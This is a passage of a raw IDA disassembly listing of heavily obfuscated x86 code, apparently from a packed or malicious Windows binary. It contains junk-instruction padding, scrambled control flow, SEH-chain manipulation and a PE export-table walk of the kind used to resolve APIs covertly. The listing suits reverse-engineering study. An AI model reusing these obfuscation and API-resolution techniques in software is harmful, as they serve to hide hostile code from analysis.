loc_427266: ; CODE XREF: hjohnhn9:loc_4280AEj jmp loc_425B48 ; END OF FUNCTION CHUNK FOR sub_425BF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42698F loc_42726B: ; CODE XREF: sub_42698F:loc_426E55j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_42726D: ; CODE XREF: sub_426F85+856j jmp loc_428150 ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CCD loc_427272: ; CODE XREF: sub_423CCD+351Aj mov eax, [ebp+arg_0] cmp dword ptr [eax-0Ch], 4 jnz loc_427288 add [ebp+var_8], 4 jmp loc_426996 ; --------------------------------------------------------------------------- loc_427288: ; CODE XREF: sub_423CCD+35ACj push offset loc_423B63 jmp nullsub_34 ; END OF FUNCTION CHUNK FOR sub_423CCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_427292: ; CODE XREF: sub_427486+1744j jnz loc_426123 ; END OF FUNCTION CHUNK FOR sub_427486 ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_427298: ; CODE XREF: sub_424EC9+2F61j jmp loc_428A28 ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42729D: ; CODE XREF: sub_424631-742j jmp loc_4276C5 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- xor edi, 0E9F2FF93h and ecx, 0B476BC97h jmp loc_426123 ; --------------------------------------------------------------------------- loc_4272B3: ; DATA XREF: sub_4245BA+Eo mov eax, [ebp-4] movzx eax, word ptr [eax+14h] push edx push 0FF219A5h pop edx sub edx, 1CABD1EFh or edx, 0BDCE1D41h jmp loc_428871 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_4272D3: ; CODE XREF: sub_423E64-16Ej mov edx, esi jmp loc_4239A2 ; END OF FUNCTION CHUNK FOR sub_423E64 ; --------------------------------------------------------------------------- mov edi, 0A2291AFAh jmp sub_428D49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4272E4: ; CODE XREF: sub_424819+3725j push esi mov esi, ebp xchg esi, [esp+0] mov ebp, edx xchg ebp, [esp+0] push esi mov esi, ebx jmp loc_4282C4 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- db 0BAh dd 17B3C1CFh, 425E5A68h, 0E7D6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_427306: ; CODE XREF: sub_425BD2:loc_425D5Bj sub ecx, 0CBA9F7CFh rol ecx, 15h add ecx, 48A7B40Fh add eax, ecx pop ecx mov eax, [eax] mov esp, ebp xchg eax, [esp+4+var_4] jmp loc_424AB4 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_427324 proc near ; CODE XREF: hjohnhn9:00424CA0p ; hjohnhn9:004280BAj ; FUNCTION CHUNK AT 004279D7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004284AC SIZE 0000001F BYTES xchg eax, [esp+0] pop eax push 75E083Dh pop edx xor edx, 1BF516ECh jmp loc_4284AC sub_427324 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_427339: ; CODE XREF: sub_426F5A:loc_427B8Dj push 0C335D6F1h or ebp, edx jmp loc_423E8D ; END OF FUNCTION CHUNK FOR sub_426F5A ; =============== S U B R O U T I N E ======================================= sub_427345 proc near ; CODE XREF: sub_4249E1-B25p ; hjohnhn9:00424140j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423571 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00424FE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042742C SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 0C734959h xchg ecx, [esp+0] mov esi, ecx jmp loc_42742C sub_427345 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427363 loc_427358: ; CODE XREF: hjohnhn9:loc_424728j ; sub_427363-159Ej pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_427363 ; =============== S U B R O U T I N E ======================================= sub_427363 proc near ; CODE XREF: sub_423369+4p ; FUNCTION CHUNK AT 00425DB7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004270C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427358 SIZE 0000000B BYTES push large dword ptr fs:0 jmp loc_4270C0 sub_427363 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_42736F: ; CODE XREF: sub_427486+196Ej sbb edx, 848BAD9h jmp loc_4288D4 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_42737B: ; CODE XREF: sub_425029+1ABAj jmp loc_423AE9 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427BCE loc_427380: ; CODE XREF: sub_427BCE+13j jnz loc_42377B jmp loc_426EFE ; END OF FUNCTION CHUNK FOR sub_427BCE ; --------------------------------------------------------------------------- sbb eax, edx jmp sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4264CF loc_427392: ; CODE XREF: sub_4264CF:loc_4264DEj call sub_426B29 mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_3 jmp loc_426809 ; END OF FUNCTION CHUNK FOR sub_4264CF ; --------------------------------------------------------------------------- cmp ebp, 161BC831h jmp loc_4290C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4273B2: ; CODE XREF: sub_42304F+6j ; sub_42304F+11D2j ... jno loc_4273D0 or eax, eax jz loc_427112 cmp eax, 0FFFFFFFFh jz loc_427112 mov eax, [eax] jmp loc_426AE9 ; --------------------------------------------------------------------------- loc_4273D0: ; CODE XREF: sub_42304F:loc_4273B2j or eax, eax jz loc_427112 jmp loc_4237EA ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_4273DD: ; CODE XREF: hjohnhn9:00427F54j xor ebx, 9950C18Ch or edi, 9DF68B53h jmp loc_428B98 ; --------------------------------------------------------------------------- loc_4273EE: ; CODE XREF: hjohnhn9:004248A1j adc edx, 0F634EFE5h pop ebx ; START OF FUNCTION CHUNK FOR sub_424819 loc_4273F5: ; CODE XREF: sub_424819:loc_42488Bj add ebx, 0FD77EFFEh xchg ebx, [esp-4+arg_0] push eax lea eax, loc_428A04 jmp loc_426EC4 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42740A: ; CODE XREF: sub_4278EC-34ECj mov edx, ds:dword_423944 imul byte ptr [edx] push offset loc_427C31 jmp loc_42434F ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_42741C: ; CODE XREF: sub_424B97+3727j pushf sub ebx, edx popf loc_427420: ; CODE XREF: sub_424B97+371Bj add edx, 2CDA0D3Dh mov edx, [edx] xchg edx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_424B97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_42742C: ; CODE XREF: sub_427345+Ej jmp loc_423571 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_427431: ; CODE XREF: sub_4260BD+E36j jmp loc_423A50 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_427436: ; CODE XREF: sub_426A78-B44j jmp loc_423217 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42355C loc_42743B: ; CODE XREF: sub_42355C+10j jmp loc_42607D ; END OF FUNCTION CHUNK FOR sub_42355C ; =============== S U B R O U T I N E ======================================= sub_427440 proc near ; DATA XREF: sub_423E64:loc_4239A6o push dword ptr [ebp+10h] push edx call sub_423BC3 sub_427440 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423CDB loc_427449: ; CODE XREF: sub_423CDB+2E3Ej jmp loc_42407B ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240E6 loc_42744E: ; CODE XREF: sub_4240E6:loc_428AFFj push offset loc_4280BF jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_4240E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_427458: ; CODE XREF: sub_426D02:loc_428F06j jz loc_425AFC jmp loc_425B43 ; END OF FUNCTION CHUNK FOR sub_426D02 ; =============== S U B R O U T I N E ======================================= sub_427463 proc near ; CODE XREF: hjohnhn9:004271D5j ; sub_4242A0:loc_427877p xchg ecx, [esp+0] pop ecx push eax call sub_423425 mov [ebp-4], eax jmp loc_423415 sub_427463 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E85 loc_427475: ; CODE XREF: sub_427E85+4j lea eax, [ebp-125h] jmp loc_426E75 ; END OF FUNCTION CHUNK FOR sub_427E85 ; --------------------------------------------------------------------------- loc_427480: ; CODE XREF: hjohnhn9:00423C3Fj jg loc_423640 ; =============== S U B R O U T I N E ======================================= sub_427486 proc near ; CODE XREF: sub_4264CF+Ap var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423246 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D52 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424E94 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425D38 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426123 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004263D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042721D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427292 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042736F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427921 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428004 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042850B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288D4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428B1C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428BC1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428DEE SIZE 0000000B BYTES xchg esi, [esp+0] pop esi or eax, eax jmp loc_425D38 sub_427486 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42363F loc_427491: ; CODE XREF: sub_42363F+1553j jo loc_425215 and edx, ebx jp loc_424067 jmp loc_424FB4 ; END OF FUNCTION CHUNK FOR sub_42363F ; --------------------------------------------------------------------------- loc_4274A4: ; CODE XREF: hjohnhn9:00423D9Cj add eax, 381617F7h add eax, ebp push ecx loc_4274AD: ; CODE XREF: hjohnhn9:00427C39j push 332398CDh sub ecx, ebx jmp loc_425DF2 ; --------------------------------------------------------------------------- or ecx, 87CFD7Ch or ebp, 0ECC13577h jmp sub_42698F ; --------------------------------------------------------------------------- test edi, 0F8C6ADB3h jmp loc_426CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_4274D5: ; CODE XREF: sub_426D02+1B1Cj mov eax, [eax] mov [ebp-4], eax push 0E2FF0717h loc_4274DF: ; CODE XREF: sub_424928+3D1Dj pop eax add eax, 86D6B987h xor eax, 4E722E70h add eax, 9EEA912Ah jmp loc_42326A ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_4274F7: ; CODE XREF: sub_4244F5-13Dj push edx push eax ; END OF FUNCTION CHUNK FOR sub_4244F5 ; START OF FUNCTION CHUNK FOR sub_42304F loc_4274F9: ; CODE XREF: sub_42304F+19E5j mov eax, [ebp-18h] add eax, eax cdq add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 jmp loc_426EF9 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_42750E: ; CODE XREF: hjohnhn9:004234C5j ; hjohnhn9:loc_427989j call sub_424877 push 0B191C15Dh pop edx add edx, 2896EF22h or edx, 0EDE0DF48h add edx, 0B259B4B7h call sub_4279ED jmp loc_425CDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_427535: ; CODE XREF: sub_42325E+1FBDj pop ebx xor ebx, 0A02794A4h jns loc_4269A0 not ecx test ebx, 0D8609567h jmp loc_4231D4 ; END OF FUNCTION CHUNK FOR sub_42325E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_427550: ; CODE XREF: sub_423F65+104Aj jmp loc_428287 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_427555: ; CODE XREF: sub_4231AD+4j ; sub_4231AD+1B47j ... mov al, 1 jmp loc_424CFC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_42755C: ; CODE XREF: sub_424564+8AFj ; sub_424564+1EA6j inc [ebp+var_4] jmp loc_42456D ; END OF FUNCTION CHUNK FOR sub_424564 ; =============== S U B R O U T I N E ======================================= sub_427564 proc near ; CODE XREF: sub_424D38:loc_428AACp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423A98 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00423D06 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004245D2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424AB9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00425CE7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426FE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427D81 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042825D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428906 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00428B22 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042901D SIZE 00000005 BYTES call sub_423369 loc_427569: ; CODE XREF: sub_423548:loc_423551j test al, al loc_42756B: ; CODE XREF: hjohnhn9:0042489Bj jz loc_424AB9 jmp loc_426FE9 sub_427564 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shr edi, 0Eh jmp sub_4230E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42757E: ; CODE XREF: sub_4287BF+8BFj mov eax, [eax] add eax, [ebp-4] jmp loc_428888 ; --------------------------------------------------------------------------- loc_427588: ; CODE XREF: sub_4287BF:loc_4287D2j mov eax, [ebp-4] call sub_428436 test al, al jnz loc_4268DB mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jmp loc_42318D ; END OF FUNCTION CHUNK FOR sub_4287BF ; =============== S U B R O U T I N E ======================================= sub_4275A3 proc near ; CODE XREF: sub_42911Cj ; DATA XREF: sub_427C9B:loc_429112o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004231A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425CD0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426134 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042686B SIZE 00000005 BYTES lea eax, [ebp-14h] push eax push ecx mov ecx, ebx xchg ecx, [esp+0] jmp loc_42686B sub_4275A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4275B2 proc near ; CODE XREF: hjohnhn9:00423875j ; hjohnhn9:00427E9Cp ; FUNCTION CHUNK AT 0042471E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_424AAE xor ebx, eax mov [ebp-8], ebx push offset sub_426475 jmp loc_42471E sub_4275B2 endp ; --------------------------------------------------------------------------- loc_4275CA: ; CODE XREF: hjohnhn9:00425F10j or edi, ebp push edi add edi, edx shl ecx, 16h ; START OF FUNCTION CHUNK FOR sub_426354 loc_4275D2: ; CODE XREF: sub_426354:loc_425F00j or ecx, 0A4320A8Ah and ecx, 3F6B5DA7h jmp loc_4287E0 ; END OF FUNCTION CHUNK FOR sub_426354 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_4275E4: ; CODE XREF: sub_427F90+Fj jmp loc_428F6C ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4275E9: ; CODE XREF: sub_423B05+168j jmp loc_4285EB ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_4275EE: ; CODE XREF: sub_423F65+Dj jnz loc_424F91 jmp loc_4252A4 ; END OF FUNCTION CHUNK FOR sub_423F65 ; =============== S U B R O U T I N E ======================================= sub_4275F9 proc near ; DATA XREF: hjohnhn9:loc_429089o var_4 = dword ptr -4 add eax, 9A703663h add eax, ebp add eax, 36415E00h mov eax, [eax] push esi mov esi, eax xchg esi, [esp+4+var_4] push offset sub_423444 jmp loc_4251E1 sub_4275F9 endp ; --------------------------------------------------------------------------- loc_427619: ; DATA XREF: sub_426B29+126Ao mov [ebp-0Ah], al ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_42761C: ; CODE XREF: sub_4262C5:loc_427C2Cj jz loc_42389B mov eax, [ebp-4] cmp byte ptr [eax], 0 call sub_428447 loc_42762D: ; CODE XREF: sub_428945+7j jmp loc_423288 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428249 loc_427632: ; CODE XREF: sub_428249+5j jmp loc_425BD8 ; END OF FUNCTION CHUNK FOR sub_428249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427637: ; CODE XREF: sub_424A78:loc_42380Bj xchg ebx, [esp-4+arg_0] mov ebp, ebx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_42763E: ; CODE XREF: sub_4260BD-173Dj cmp dword ptr [ebp-8], 0 jge loc_426D9D jmp loc_424A12 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4270CF loc_42764D: ; CODE XREF: sub_4270CF+9j mov edx, ecx xchg edx, [esp+4+var_4] call sub_423B05 ; END OF FUNCTION CHUNK FOR sub_4270CF ; START OF FUNCTION CHUNK FOR sub_424698 loc_427657: ; CODE XREF: sub_424698+1B4Ej jmp loc_427CFC ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_42765C: ; CODE XREF: sub_426211-1CD4j jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- loc_427661: ; DATA XREF: sub_427486-272Eo popf xchg eax, [esp] jmp sub_4279ED ; --------------------------------------------------------------------------- loc_42766A: ; DATA XREF: sub_427C9B-2D20o push edi push 2E5D284Bh pop edi rol edi, 1Ch xor edi, 205893AEh rol edi, 1 add edi, 0DAC7B922h xchg edi, [esp] jmp loc_4239E7 ; --------------------------------------------------------------------------- loc_42768A: ; DATA XREF: sub_4282F8:loc_425BC8o pop ecx mov edx, [ebp+8] imul dword ptr [edx-4] push offset sub_425D47 jmp loc_425D60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240AE loc_42769B: ; CODE XREF: sub_4240AE+2D1Cj add esi, 0DD664860h or esi, 104BE9C1h add esi, 0A9F64686h xchg esi, [esp+8+var_8] jmp sub_426708 ; END OF FUNCTION CHUNK FOR sub_4240AE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424831 loc_4276B6: ; CODE XREF: sub_424831+19j jmp loc_424405 ; END OF FUNCTION CHUNK FOR sub_424831 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_4276BB: ; CODE XREF: sub_424A28-1FCj jmp loc_4289C5 ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4276C0: ; CODE XREF: sub_42325E-10Aj jmp loc_427140 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4276C5: ; CODE XREF: sub_424631:loc_42729Dj push eax cmp dword ptr [ebp-14h], 6 setz al call sub_42392D pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_428E16 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- add ebp, 0B3275500h adc ecx, eax jmp sub_426C09 ; --------------------------------------------------------------------------- loc_4276EB: ; DATA XREF: sub_428E98-400o mov ebp, [eax] add eax, 4 mov edx, [eax] call sub_4247F4 ; START OF FUNCTION CHUNK FOR sub_42325E loc_4276F7: ; CODE XREF: sub_42325E+BFAj jmp loc_423A82 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4276FC: ; CODE XREF: sub_426A78:loc_4233C8j push esi mov esi, ecx xchg esi, [esp+4+var_4] call sub_424819 loc_427707: ; CODE XREF: sub_42855B-5231j jmp loc_4250EF ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- shr ebx, 9 jmp sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_427714: ; CODE XREF: sub_4260BD+222Dj xor edx, 8CF583B7h push 0FAB69B54h jge loc_42514C not edx jmp loc_427947 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230E0 loc_42772C: ; CODE XREF: sub_4230E0:loc_425D9Ej sub ebx, 0DDEDB4E8h add ebx, 0F671D69Ah rol ebx, 1Fh add ebx, 7DDFD362h xchg ebx, [esp-4+arg_0] jmp sub_427A36 ; END OF FUNCTION CHUNK FOR sub_4230E0 ; --------------------------------------------------------------------------- loc_427749: ; CODE XREF: hjohnhn9:00427062j jle loc_427240 ; =============== S U B R O U T I N E ======================================= sub_42774F proc near ; CODE XREF: sub_427A58:loc_423F10p xchg eax, [esp+0] pop eax call sub_426741 mov eax, [ebp-4] mov esp, ebp pop ebp jmp nullsub_27 sub_42774F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427763: ; CODE XREF: hjohnhn9:0042638Ej js loc_42872A cdq jl locret_424AB3 jmp loc_428AD8 ; --------------------------------------------------------------------------- loc_427775: ; CODE XREF: hjohnhn9:loc_423801j mov ecx, offset loc_425071 jmp loc_4232A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424377 loc_42777F: ; CODE XREF: sub_424377:loc_424E8Aj mov [ebp-8], edx mov [ebp-4], eax mov edx, [ebp-8] mov eax, [ebp-4] jmp loc_4264DE ; END OF FUNCTION CHUNK FOR sub_424377 ; --------------------------------------------------------------------------- loc_427790: ; CODE XREF: hjohnhn9:004267A7j not edx ; =============== S U B R O U T I N E ======================================= sub_427792 proc near ; CODE XREF: sub_42304F:loc_424F43p ; FUNCTION CHUNK AT 004252AF SIZE 00000012 BYTES xchg edi, [esp+0] pop edi mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_4252AF sub_427792 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4277A2: ; CODE XREF: sub_424631-307j mov eax, [ebp+8] cmp dword ptr [eax-14h], 4 jnz loc_426619 mov eax, [ebp+8] cmp dword ptr [eax-4], 4 jnz loc_426619 cmp dword ptr [ebp-10h], 0 jmp loc_424F09 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_4277C5: ; CODE XREF: sub_428D0E:loc_423B92j mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] ; END OF FUNCTION CHUNK FOR sub_428D0E ; START OF FUNCTION CHUNK FOR sub_426F85 loc_4277CE: ; CODE XREF: sub_426F85+1D84j add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] mov eax, [eax+18h] dec eax jmp loc_42726D ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4277E0: ; CODE XREF: sub_425BD2+3B5j js sub_425EA9 mov ebx, edx loc_4277E8: ; CODE XREF: sub_425BD2:loc_428B34j call sub_424877 mov edx, 0D504D785h call sub_4279ED push ebp mov ebp, eax jmp loc_428CAA ; END OF FUNCTION CHUNK FOR sub_425BD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_427800: ; CODE XREF: sub_424A78+1B6j jmp sub_427FCE ; END OF FUNCTION CHUNK FOR sub_424A78 ; =============== S U B R O U T I N E ======================================= sub_427805 proc near ; DATA XREF: sub_426354+5E8o jnz loc_425ED0 call sub_426098 sub_427805 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427810 proc near ; CODE XREF: hjohnhn9:0042526Bj ; sub_428D1E+Bp ; FUNCTION CHUNK AT 00426B09 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx cmp edx, 7C61090Eh loc_42781A: ; CODE XREF: sub_42304F:loc_4282D3j jz loc_4243F2 jmp loc_426B09 sub_427810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_427825: ; CODE XREF: sub_423BC3+2EC9j jns loc_425F6E loc_42782B: ; CODE XREF: sub_423BC3:loc_4236BBj add edx, 0E53F644Bh add edx, ebp add edx, 984AE1Fh jmp loc_424C7B ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- loc_42783E: ; CODE XREF: hjohnhn9:loc_42430Fj xchg ebx, [esp] mov eax, ebx and ebx, edi jmp loc_4290F1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426961 loc_42784B: ; CODE XREF: sub_426961+16j jmp loc_4278A0 ; END OF FUNCTION CHUNK FOR sub_426961 ; --------------------------------------------------------------------------- loc_427850: ; CODE XREF: hjohnhn9:0042620Cj xchg eax, ebp ; =============== S U B R O U T I N E ======================================= sub_427852 proc near ; CODE XREF: sub_428271-16E4p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424064 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004242E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425156 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F3A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426AA2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427F82 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042823F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428319 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428883 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EF2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428F16 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx adc edx, [esp+4] jmp loc_425F3A sub_427852 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_427860: ; CODE XREF: sub_425CB3+B14j call sub_42897B push offset loc_424C6A jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- adc ebx, edx jmp sub_4235C9 ; --------------------------------------------------------------------------- locret_427876: ; CODE XREF: hjohnhn9:00424B2Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242A0 loc_427877: ; CODE XREF: sub_4242A0+Aj call sub_427463 loc_42787C: ; CODE XREF: hjohnhn9:00428472j jmp 